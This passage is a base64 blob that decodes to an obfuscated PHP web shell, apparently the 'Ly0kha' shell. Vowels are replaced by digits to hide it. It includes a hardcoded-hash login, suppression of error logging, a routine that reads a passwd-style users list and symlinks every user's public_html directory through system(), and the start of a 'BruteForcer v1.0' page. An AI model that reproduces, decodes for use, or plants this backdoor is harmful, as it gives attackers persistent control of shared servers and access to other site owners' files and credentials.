ST1VORC1DT0xPUjogI29vb29vbzsNCmYybnQ6IDlwdCB0MWgybTE7DQpjMmwycjogI2ZmZmZmZjsNCn0NCi50eHRiMnggew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCA2IHMybDRkOw0KQkFDS0dST1VORC1DT0xPUjogI29vb29vbzsNCmYybnQ6IEY0eDVkc3lzIGIybGQ7DQpjMmwycjogIzk5MDAwMDsNCn0NCkJPRFkgew0KYzJsMnI6ICNjY2NjY2M7DQpiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOw0KfQ0KDQo8L1NUWUxFPg0KPC9oNTFkPg0KDQo8YjJkeT4NCjxkNHYgc3R5bDU9ImYybnQtczR6NTogNnVwdDsiIDFsNGduPSJjNW50NXIiPjw/PSR0MWNmZ1sndDR0bDUnXT8+PC9kNHY+DQo8aHIgdzRkdGg9Im8wMCIgczR6NT0iNiIgbjJzaDFkNSBjMmwycj0iI2NkY2RjZCI+DQoNCjxwPg0KPC9kNHY+DQo8cD4NCjw/DQo0ZiAoNHNzNXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSAkMWN0NDJuID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQo1bHM1ICQxY3Q0Mm4gPSAkX1NFUlZFUlsnUEhQX1NFTEYnXS4nPycuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOw0KNGYgKHN0cnAycygkMWN0NDJuLCAnbDJnMjN0PTYnLCBzdHJwMnMoJDFjdDQybiwgJz8nKSkgIT09IGYxbHM1KSAkMWN0NDJuID0gc3RyX3I1cGwxYzUoJ2wyZzIzdD02JywgJycsICQxY3Q0Mm4pOw0KPz4NCjxmMnJtIG4xbTU9InR4dDEzdGgiIDFjdDQybj0iPD89JDFjdDQybj8+IiBtNXRoMmQ9InAyc3QiPg0KPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9InUiIGM1bGxzcDFjNG5nPSIwIiBiZ2MybDJyPSIjb29vb29vIiAxbDRnbj0iYzVudDVyIiBzdHlsNT0iYjJyZDVyOiAjZDVkNWQ1IDZweCBkMjNibDU7Ij4NCjw/PSg0c3M1dCgkNXJyKSk/Jzx0cj48dGQgYzJsc3Axbj0iYSIgMWw0Z249ImM1bnQ1ciI+PGYybnQgYzJsMnI9InI1ZCI+Jy4kNXJyLic8L2YybnQ+PC90ZD48L3RyPic6Jyc/Pg0KPD80ZiAoNHNzNXQoJHQxY2ZnWyczbjFtNSddKSkgez8+DQo8dHI+PHRkPlVzNXJuMW01OiBsMzN0eXQzbjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSIzbjFtNSIgdjFsMzU9IiIgczR6NT0iYTAiIG0xeGw1bmd0aD0iNjAwIiBjbDFzcz0idHh0YjJ4Ij48L3RkPjwvdHI+DQo8P30/Pg0KPHRyPjx0ZD5QMXNzdzJyZDogeGdyMjNwdm48L3RkPjx0ZD48NG5wM3QgdHlwNT0icDFzc3cycmQiIG4xbTU9InB3MnJkIiB2MWwzNT0iIiBzNHo1PSJhMCIgbTF4bDVuZ3RoPSI2MDAiIGNsMXNzPSJ0eHRiMngiPjwvdGQ+PC90cj4NCjw/NGYgKCR0MWNmZ1snMWxsMndybSddKSB7Pz4NCjx0cj48dGQgMWw0Z249Imw1ZnQiPjw0bnAzdCB0eXA1PSJzM2JtNHQiIG4xbTU9ImwyZzRuIiB2MWwzNT0iIAkNCmwyZzRuIj4NCjwvdGQ+PHRkIDFsNGduPSJyNGdodCI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJybSIgNGQ9InJtIj48bDFiNWwgZjJyPSJybSI+QTN0Mm0xdDRjIGwyZzRuPC9sMWI1bD48L3RkPjwvdHI+DQoNCjw/fSA1bHM1IHs/Pg0KPHRyPjx0ZCBjMmxzcDFuPSJhIiAxbDRnbj0iYzVudDVyIj48NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJsMmc0biIgdjFsMzU9IiBsMmc0biAiPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPlRoNSBuMW01IDJmIHRoNSBzNHQ1OjwvdGQ+PHRkPjw/IDVjaDIgd3MobykuIjxiPiAiLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4iPC9iPjxici8+IjsNCjVjaDIgIjwvYj48L2YybnQ+IjsNCg0KPz48L3RkPjwvdHI+DQo8dHI+PHRkPklQIHM1cnY1cjo8L3RkPjx0ZD48PyA1Y2gyIHdzKG8pLiI8Yj4gIi5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvYj48YnIvPiI7DQo1Y2gyICI8L2I+PC9mMm50PiI7DQoNCj8+PC90ZD48L3RyPg0KPHRyPjx0ZD5JUCB5MjNyIGMybXAzdDVyOjwvdGQ+PHRkPjw/IDVjaDIgd3MobykuIjxiPiAiLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2I+PGJyLz4iOw0KNWNoMiAiPC9iPjwvZjJudD4iOw0KDQo/PjwvdGQ+PC90cj4NCg0KPC90MWJsNT4NCjwvZjJybT4NCg0KPGJyPjxicj48YnI+DQo8aHIgdzRkdGg9Im8wMCIgczR6NT0iNiIgbjJzaDFkNSBjMmwycj0iI2NkY2RjZCI+PGQ0diBjbDFzcz0ic20xbGx0eHQiIDFsNGduPSJjNW50NXIiPkVkNHQ1ZCBieSA8MSBocjVmPSJodHRwOi8vbDMzdHl0M24uNG5mMiI+TCYjNzlhNjszIFQmI2FpbzsgVCYjNzk2NjtuPC8xPjwvZDR2Pg0KDQo8L2IyZHk+DQo8L2h0bWw+DQo8Pw0KICAvLyBEMm4ndCBkNWw1dDUgdGg0cyENCiAgNXg0dCgpOw0KfQ0KPz4NCg0KMWNjMjNudDogKDxmMm50IGMybDJyPSIjRkYwMDAwIj48PyA1Y2gyICR0MWNmZ2RbJzNuMW01J107ID8+PC9mMm50PikgPDEgaHI1Zj0iP2wyZzIzdD02Ij5sMmcyM3Q8LzE+PC9wPg0KPGQ0diAxbDRnbj0icjRnaHQiPg0KPD9waHANCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQovKn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn4qLw0KLyogIChjKTJkNWQgYnkgU25JcEVyX1NBLEQ1djVsMnA1ZCBieSBMeTBraDENCi8qICBNQUlMIGh0dHA6Ly92bmJyMTRuLm41dCAsIGh0dHA6Ly92bmgxY2subjV0DQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KLyogfn5+ICB8IE9wdDQybnMgIH5+fiAqLw0KLy8gfn5+fnwgTDFuZzMxZzUNCi8vICRsMW5nMzFnNT0nNW5nJyAtIDVuZ2w0c2ggKDVuZ2w0c2gpDQovLyAkbDFuZzMxZzU9JzFyJyAtIDFyMWI0ICgxcjFiNCkNCiRsMW5nMzFnNT0nNW5nJzsNCi8vIH5+fn5+fn4gfCBBM3RoNW50NGY0YzF0NDJuDQovLyAkMTN0aCA9IDY7IC1CMXQgY2g1IGQyIGQxbmcgbmgxcCBzaDVsbCAgKCAxM3RoNW50NGY0YzF0NDJuID0gT24gICkNCi8vICQxM3RoID0gMDsgLSB0MXQgY2g1IGQyIGQxbmcgbmgxcCBzaDVsbCAoIDEzdGg1bnQ0ZjRjMXQ0Mm4gPSBPZmYgKQ0KJDEzdGggPSAwOw0KLy8gKEwyZzRuICYgUDFzc3cycmQgZjJyIDFjYzVzcykNCi8vKENIQU5HRSBUSElTISEhKQ0KLy8gICAnbHkwa2gxJw0KLy8gbTEgaDIxIDNzNXIgdjEgcDFzcyAgYjFuZyB0aDMxdCB0MjFuIG1kaSANCiRuMW01PScwOWVvYm9hY2VlYWJkNWV1MWIxYmIwYjU1NzhhaWZjbyc7IC8vKDNzNXIgbDJnNG4pDQokcDFzcz0nMDllb2JvYWNlZWFiZDVldTFiMWJiMGI1NTc4YWlmY28nOyAvLyAoM3M1ciBwMXNzdzJyZCkNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCjVjaDIgIiIuaHRtbHNwNWM0MWxjaDFycygkYzJweSkuIiI7DQo1cnIycl9yNXAycnQ0bmcoMCk7DQpzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkA0bjRfczV0KCcyM3RwM3RfYjNmZjVyNG5nJywwKTsNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQokdjVyczQybiA9ICc2Lm82JzsNCjRmKHY1cnM0Mm5fYzJtcDFyNShwaHB2NXJzNDJuKCksICd1LjYuMCcpID09IC02KQ0KIHsNCiAkX1BPU1QgICA9ICYkSFRUUF9QT1NUX1ZBUlM7DQogJF9HRVQgICAgPSAmJEhUVFBfR0VUX1ZBUlM7DQogJF9TRVJWRVIgPSAmJEhUVFBfU0VSVkVSX1ZBUlM7DQogJF9DT09LSUUgPSAmJEhUVFBfQ09PS0lFX1ZBUlM7DQogfQ0KNGYgKEBnNXRfbTFnNGNfcTMydDVzX2dwYygpKQ0KIHsNCiBmMnI1MWNoICgkX1BPU1QgMXMgJGs9PiR2KQ0KICB7DQogICRfUE9TVFska10gPSBzdHI0cHNsMXNoNXMoJHYpOw0KICB9DQogZjJyNTFjaCAoJF9DT09LSUUgMXMgJGs9PiR2KQ0KICB7DQogICRfQ09PS0lFWyRrXSA9IHN0cjRwc2wxc2g1cygkdik7DQogIH0NCiB9DQoNCjRmKCQxM3RoID09IDYpIHsNCjRmICghNHNzNXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkgfHwgbWRpKCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIT09JG4xbTUgfHwgbWRpKCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSE9PSRwMXNzKQ0KICAgew0KICAgaDUxZDVyKCdXV1ctQTN0aDVudDRjMXQ1OiBCMXM0YyByNTFsbT0ibHkwa2gxIHNoNWxsIicpOw0KICAgaDUxZDVyKCdIVFRQLzYuMCB1MDYgVW4xM3RoMnI0ejVkJyk7DQogICA1eDR0KCI8Yj48MSBocjVmPWh0dHA6Ly94Z3IyM3B2bi4ycmc+bHkwa2gxPC8xPiA6IEFjYzVzcyBENW40NWQ8L2I+Iik7DQogICB9DQp9DQokaDUxZCA9ICc8IS0tIEVkNHQ1ZCBieSBMJiM3OWE2OzMgVCYjYWlvOyBUJiM3OTY2O24gLS0+DQo8aHRtbD4NCjxoNTFkPg0KPC9zY3I0cHQ+DQo8dDR0bDU+Li46OiBbIEwmIzc5YTY7MyBUJiNhaW87IFQmIzc5NjY7biBdIDo6Li4gIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAgIC4uOjpbIFhncjIzcHZuIF06Oi4uPC90NHRsNT4NCjxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PVVURi04Ij4NCg0KPFNUWUxFPg0KYjJkeSB7DQpmMm50LWYxbTRseTogVDFoMm0xDQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLVRPUDogICAgQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLUJPVFRPTTogI0JsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1DT0xPUjogIzAwODA4YTsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI0JsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1UT1A6ICAgIEJsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1MRUZUOiAgIEJsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1CT1RUT006ICNCbDFjayA2cHggczJsNGQ7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpjMmwycjogI2Q4ZDhkODsNCn0NCi50MWJsNTYgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbDFjazsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KLnRkNiB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzAwODA4YTsNCmYybnQ6IDdwdCBUMWgybTE7DQpjMmwycjogI2Q4ZDhkODsNCn0NCi50cjYgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpjMmwycjogI2Q4ZDhkODsNCn0NCnQxYmw1IHsNCkJPUkRFUjogIEJsMWNrIDZweCAyM3RzNXQ7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbDFjazsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KNG5wM3Qgew0KYjJyZDVyCQkJOiBzMmw0ZCA2cHg7DQpiMnJkNXItYzJsMnIJCTogI2ExZmYwMCAjYTFmZjAwICNhMWZmMDAgI2ExZmYwMDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsMWNrOw0KZjJudDogOHB0IFQxaDJtMTsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KczVsNWN0IHsNCkJPUkRFUi1SSUdIVDogIEJsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1UT1A6ICAgICNhMWZmMDAgNnB4IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgI2ExZmYwMCA2cHggczJsNGQ7DQpCT1JERVItQk9UVE9NOiBCbDFjayA2cHggczJsNGQ7DQpCT1JERVItYzJsMnI6ICNkOGQ4ZDg7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbDFjazsNCmYybnQ6IDhwdCBUMWgybTE7DQpjMmwycjogUjVkOw0KfQ0KczNibTR0IHsNCkJPUkRFUjogIGIzdHQybmg0Z2hsNGdodCBhcHggMjN0czV0Ow0KQkFDS0dST1VORC1DT0xPUjogQmwxY2s7DQp3NGR0aDogbzAlOw0KYzJsMnI6ICNkOGQ4ZDg7DQp9DQp0NXh0MXI1MSB7DQpCT1JERVItUklHSFQ6ICBCbDFjayA2cHggczJsNGQ7DQpCT1JERVItVE9QOiAgICAjYTFmZjAwIDZweCBzMmw0ZDsNCkJPUkRFUi1MRUZUOiAgICNhMWZmMDAgNnB4IHMybDRkOw0KQk9SREVSLUJPVFRPTTogQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLUNPTE9SOiAjMDA4MDhhOw0KQkFDS0dST1VORC1DT0xPUjogQmwxY2s7DQpmMm50OiBGNHg1ZHN5cyBiMmxkOw0KYzJsMnI6ICNkOGQ4ZDg7DQp9DQpCT0RZIHsNCglTQ1JPTExCQVItRkFDRS1DT0xPUjogQmwxY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtYzJsMnI6ICNkOGQ4ZDg7IFNDUk9MTEJBUi1TSEFET1ctYzJsMnI6ICNkOGQ4ZDg7IFNDUk9MTEJBUi1vRExJR0hULWMybDJyOiAjZDhkOGQ4OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsMWNrOyBTQ1JPTExCQVItVFJBQ0stYzJsMnI6ICNkOGQ4ZDg7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLWMybDJyOiAjZDhkOGQ4DQptMXJnNG46IDZweDsNCmMybDJyOiBSNWQ7DQpiMWNrZ3IyM25kLWMybDJyOiBCbDFjazsNCn0NCi5tMTRuIHsNCm0xcmc0bgkJCTogLWE4N3B4IDBweCAwcHggLXU5MHB4Ow0KYjJyZDVyCQkJOiAjYTFmZjAwIHMybDRkIDZweDsNCkJPUkRFUi1DT0xPUjogIzAwaWRpNTsNCn0NCi50dCB7DQpiMWNrZ3IyM25kLWMybDJyOiBCbDFjazsNCn0NCg0KQTpsNG5rIHsNCglDT0xPUjogV2g0dDU7IFRFWFQtREVDT1JBVElPTjogbjJuNQ0KfQ0KQTp2NHM0dDVkIHsNCglDT0xPUjogV2g0dDU7IFRFWFQtREVDT1JBVElPTjogbjJuNQ0KfQ0KQTpoMnY1ciB7DQoJYzJsMnI6IFI1ZDsgVEVYVC1ERUNPUkFUSU9OOiBuMm41DQp9DQpBOjFjdDR2NSB7DQoJYzJsMnI6IFI1ZDsgVEVYVC1ERUNPUkFUSU9OOiBuMm41DQp9DQo8L1NUWUxFPg0KPHNjcjRwdCBsMW5nMzFnNT1cJ2oxdjFzY3I0cHRcJz4NCmYzbmN0NDJuIGg0ZDVfZDR2KDRkKQ0Kew0KICBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCkuc3R5bDUuZDRzcGwxeSA9IFwnbjJuNVwnOw0KICBkMmMzbTVudC5jMjJrNDU9NGQrXCc9MDtcJzsNCn0NCmYzbmN0NDJuIHNoMndfZDR2KDRkKQ0Kew0KICBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCkuc3R5bDUuZDRzcGwxeSA9IFwnYmwyY2tcJzsNCiAgZDJjM201bnQuYzIyazQ1PTRkK1wnPTY7XCc7DQp9DQpmM25jdDQybiBjaDFuZzVfZDR2c3QoNGQpDQp7DQogIDRmIChkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCkuc3R5bDUuZDRzcGwxeSA9PSBcJ24ybjVcJykNCiAgICBzaDJ3X2Q0dig0ZCk7DQogIDVsczUNCiAgICBoNGQ1X2Q0dig0ZCk7DQp9DQo8L3NjcjRwdD4nOw0KDQovKiMjIyMjIyBJbmYycm0xdDQybiBMMmc0biBTaDVsbCAjIyMjIyMqLw0KJDRuZjJbJ3M1YzNyNHR5J10gPSBmMWxzNTsNCiQ0bmYyWyczbjFtNSddID0gIjY1Y3U3b2VvY2Y2NWUwZmVvYWRkNnU2bzk5ODliODZvIjsNCiQ0bmYyWydwdzJyZCddID0gInVhOTdmdXViNm85aWlhb2lhdWliYXU5N285OWQ3MTlvIjsNCiQ0bmYyWyd0NHRsNSddID0gIkwzM1R5VDNuIjsNCiQ0bmYyWycyd25zNXNzNDJucyddID0gZjFsczU7DQpmMnI1MWNoICgkNG5mMiAxcyAkazV5ID0+ICR2MWwpIHsNCiAgNGYgKCE0c3M1dCgkdDFjZmdbJGs1eV0pKSAkdDFjZmdbJGs1eV0gPSAkdjFsOw0KfQ0KNGYgKCEkdDFjZmdbJzJ3bnM1c3M0Mm5zJ10pIHsNCiAgczVzczQybl9uMW01KCd0eHQxM3RoJyk7DQogIHM1c3M0Mm5fc3QxcnQoKTsNCn0NCjRmICg0c3M1dCgkX0dFVFsnbDJnMjN0J10pIHx8IDRzczV0KCRfUE9TVFsnbDJnMjN0J10pKSB7DQogIHM1dGMyMms0NSgndHh0MTN0aF8nLiRybWdyMjNwLCAnJywgdDRtNSgpLThldTAwKjZ1KTsNCiAgNGYgKCEkdDFjZmdbJzJ3bnM1c3M0Mm5zJ10pIHsNCiAgICAkX1NFU1NJT04gPSAxcnIxeSgpOw0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOw0KICB9DQogIDVsczUgJF9TRVNTSU9OWyd0eHQxM3RoNG4nXSA9IGYxbHM1Ow0KICBzeXN0NW1vYSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KfQ0KNWxzNTRmICg0c3M1dCgkX1BPU1RbJ2wyZzRuJ10pKSB7DQoJJDNuMW01ID0gbWRpKCRfUE9TVFsnM24xbTUnXSk7DQoJJDNwMXNzID0gbWRpKCRfUE9TVFsncHcycmQnXSk7DQogIDRmICgkM24xbTUgPT0gJHQxY2ZnWyczbjFtNSddICYmICQzcDFzcyA9PSAkdDFjZmdbJ3B3MnJkJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dDEzdGg0biddID0gdHIzNTsNCiAgICA0ZiAoJF9QT1NUWydybSddKSB7DQogICAgICAvLyBTNXQgcjVtNW1iNXItbTUgYzIyazQ1IGYyciBhIHc1NWtzDQogICAgICBzNXRjMjJrNDUoJ3R4dDEzdGhfJy4kcm1ncjIzcCwgbWRpKCR0MWNmZ1snM24xbTUnXS4kdDFjZmdbJ3B3MnJkJ10pLCB0NG01KCkrOGV1MDAqNnUpOw0KICAgIH0NCiAgfQ0KICA1bHM1ICQ1cnIgPSAnTDJnNG4gRjE0bDVkICEnOw0KICBzeXN0NW1vYSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KfQ0KLy8gUjVtNW1iNXItbTUgYzIyazQ1IDV4NHN0cw0KNWxzNTRmICg0c3M1dCgkX0NPT0tJRVsndHh0MTN0aF8nLiRybWdyMjNwXSkpIHsNCgk0ZiAobWRpKCR0MWNmZ1snM24xbTUnXS4kdDFjZmdbJ3B3MnJkJ10pID09ICRfQ09PS0lFWyd0eHQxM3RoXycuJHJtZ3IyM3BdICYmICR0MWNmZ1snMWxsMndybSddKSB7DQoJCSRfU0VTU0lPTlsndHh0MTN0aDRuJ10gPSB0cjM1Ow0KCX0NCgk1bHM1ICQ1cnIgPSAnTDJnNG4gRjE0bDVkICEnOw0KfQ0KNGYgKCQ0bmYyWydzNWMzcjR0eSddKSB7DQoJNGYgKCEkX1NFU1NJT05bJ3R4dDEzdGg0biddKSB7DQoJQDRuNF9yNXN0MnI1KCJzMWY1X20yZDUiKTsNCglANG40X3I1c3QycjUoIjJwNW5fYjFzNWQ0ciIpOw0KCUA0bjRfcjVzdDJyNSgiczFmNV9tMmQ1XzRuY2wzZDVfZDRyIik7DQoJQDRuNF9yNXN0MnI1KCJzMWY1X20yZDVfNXg1Y19kNHIiKTsNCglANG40X3I1c3QycjUoImQ0czFibDVfZjNuY3Q0Mm5zIik7DQoJQDRuNF9yNXN0MnI1KCIxbGwyd18zcmxfZjJwNW4iKTsNCg0KCUA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KCUA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCgk1Y2gyICRoNTFkOw0KCT8+DQoJPGIyZHk+DQoNCgk8YnI+PGJyPjxkNHYgc3R5bDU9ImYybnQtczR6NTogNnVwdDsiIDFsNGduPSJjNW50NXIiPi4uOjogTCYjNzlhNjszVCYjYWlvO1QmIzc5NjY7biA6Oi4uPC9kNHY+DQoJPGhyIHc0ZHRoPSJvMDAiIHM0ejU9IjYiIG4yc2gxZDUgYzJsMnI9IiNjZGNkY2QiPg0KCTxwPg0KCTxwPg0KCTw/DQoJNGYgKDRzczV0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJDFjdDQybiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KCTVsczUgJDFjdDQybiA9ICRfU0VSVkVSWydQSFBfU0VMRiddLic/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ107DQoJNGYgKHN0cnAycygkMWN0NDJuLCAnbDJnMjN0PTYnLCBzdHJwMnMoJDFjdDQybiwgJz8nKSkgIT09IGYxbHM1KSAkMWN0NDJuID0gc3RyX3I1cGwxYzUoJ2wyZzIzdD02JywgJycsICQxY3Q0Mm4pOw0KCT8+DQoJPGYycm0gbjFtNT0idHh0MTN0aCIgMWN0NDJuPSI8Pz0kMWN0NDJuPz4iIG01dGgyZD0icDJzdCI+DQoJPGQ0diAxbDRnbj0iYzVudDVyIj4NCgk8dDFibDUgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0idSIgYzVsbHNwMWM0bmc9IjAiIGJnYzJsMnI9IiNlZWVlZWUiIHN0eWw1PSJiMnJkNXI6IDZweCBkMjNibDUgI2Q1ZDVkNTsiIGQ0cj0ibHRyIj4NCg0KCTw/PSg0c3M1dCgkNXJyKSk/Jzx0cj48dGQgYzJsc3Axbj0iYSIgMWw0Z249ImM1bnQ1ciI+PGYybnQgYzJsMnI9InI1ZCI+Jy4kNXJyLic8L2YybnQ+PC90ZD48L3RyPic6Jyc/Pg0KCTw/NGYgKDRzczV0KCR0MWNmZ1snM24xbTUnXSkpIHs/Pg0KCTx0cj48dGQ+VXM1cjo8L3RkPjx0ZD48NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iM24xbTUiIHYxbDM1PSIiIHM0ejU9ImEwIiBtMXhsNW5ndGg9IjYwMCIgY2wxc3M9InR4dGIyeCI+PC90ZD48L3RyPg0KDQoJPD99Pz4NCgk8dHI+PHRkPlAxc3N3MnJkOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSJwMXNzdzJyZCIgbjFtNT0icHcycmQiIHYxbDM1PSIiIHM0ejU9ImEwIiBtMXhsNW5ndGg9IjYwMCIgY2wxc3M9InR4dGIyeCI+PC90ZD48L3RyPg0KCTw/NGYgKCR0MWNmZ1snMWxsMndybSddKSB7Pz4NCgk8dHI+PHRkIDFsNGduPSJsNWZ0Ij48NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJsMmc0biIgdjFsMzU9IkwyZzRuIj4NCg0KCTwvdGQ+PHRkIDFsNGduPSJyNGdodCI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJybSIgNGQ9InJtIj48bDFiNWwgZjJyPSJybSI+IA0KCQlSNW1tNWI1ciBNNT88L2wxYjVsPjwvdGQ+PC90cj4NCgk8P30gNWxzNSB7Pz4NCgk8dHI+PHRkIGMybHNwMW49ImEiIDFsNGduPSJjNW50NXIiPg0KCQk8NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJsMmc0biIgdjFsMzU9IkwyZzRuIj48L3RkPjwvdHI+DQoJPD99Pz4NCgk8L3QxYmw1Pg0KCTwvZDR2Pg0KCTwvZjJybT4NCg0KCTxicj48YnI+DQoJPGhyIHc0ZHRoPSJvMDAiIHM0ejU9IjYiIG4yc2gxZDUgYzJsMnI9IiNjZGNkY2QiPg0KCTxkNHYgY2wxc3M9InNtMWxsdHh0IiAxbDRnbj0iYzVudDVyIj48Yj5FZDR0NWQgYnkgTCYjNzlhNjszIFQmI2FpbzsgVCYjNzk2NjtuPC9iPjwvZDR2Pg0KDQoJPC9iMmR5Pg0KCTwvaHRtbD4NCgk8Pw0KCSAgLy8gRDJuJ3QgZDVsNXQ1IHRoNHMhDQoJICA1eDR0KCk7DQoJfQ0KfQ0KNGYgKDRzczV0KCRfR0VUWydsbiddKSkgew0KJGZwID0gZjJwNW4oJzNzNXJzLnR4dCcsJ3InKTsNCiRmciA9IGZyNTFkKCRmcCxmNGw1czR6NSgnM3M1cnMudHh0JykpOw0KZmNsMnM1KCRmcCk7DQpwcjVnX20xdGNoXzFsbCgnLyguKz8pOng6KC4rPykvJywkZnIsJDV4cGwyZDUpOw0KDQpmMnI1MWNoKCQ1eHBsMmQ1WzZdIDFzICQzczVyKSB7DQoJDQoJc3lzdDVtKCJsbiAtcyAvaDJtNS8kM3M1ci9wM2JsNGNfaHRtbC8gJDNzNXIiKTsNCgkNCn0NCg0KaDUxZDVyKCJMMmMxdDQybjogIi4kX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQp9DQoNCjRmICg0c3M1dCgkX0dFVFsnYnIzdDUnXSkpIHsNCj8+DQo8aHRtbD4NCjxoNTFkPg0KDQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LUwxbmczMWc1IiBjMm50NW50PSI1bi0zcyI+DQoNCjwvaDUxZD4NCjx0NHRsNT4gQnIzdDVGMnJjNXIgdjYuMCA8L3Q0dGw1Pg0KPHN0eWw1Pg0KYjJkeXttMXJnNG46MHB4O2YybnQtc3R5bDU6bjJybTFsO2YybnQtczR6NTo2MHB4O2MybDJyOiNmZmY7ZjJudC1mMW00bHk6VjVyZDFuMSxBcjQxbDtiMWNrZ3IyM25kLWMybDJyOiMwMDA7c2NyMmxsYjFyLWYxYzUtYzJsMnI6ICNvMG8wbzA7c2NyMmxsYjFyLWg0Z2hsNGdodC1jMmwycjogI2lkaWRpZDtzY3IybGxiMXItc2gxZDJ3LWMybDJyOiAjNmE2YTZhO3NjcjJsbGIxci1vZGw0Z2h0LWMybDJyOiAjbzFvMW8xO3NjcjJsbGIxci0xcnIydy1jMmwycjogIzlkOWQ5ZDtzY3IybGxiMXItdHIxY2stYzJsMnI6ICNvMW8xbzE7c2NyMmxsYjFyLWQxcmtzaDFkMnctYzJsMnI6ICNvMW8xbzE7fQ0KNG5wM3QsDQoua2JydG0sczVsNWN0e2IxY2tncjIzbmQ6I28wbzBvMDtjMmwycjojRkZGRkZGO2YybnQtZjFtNGx5OlY1cmQxbjEsQXI0MWw7ZjJudC1zNHo1OjYwcHg7djVydDRjMWwtMWw0Z2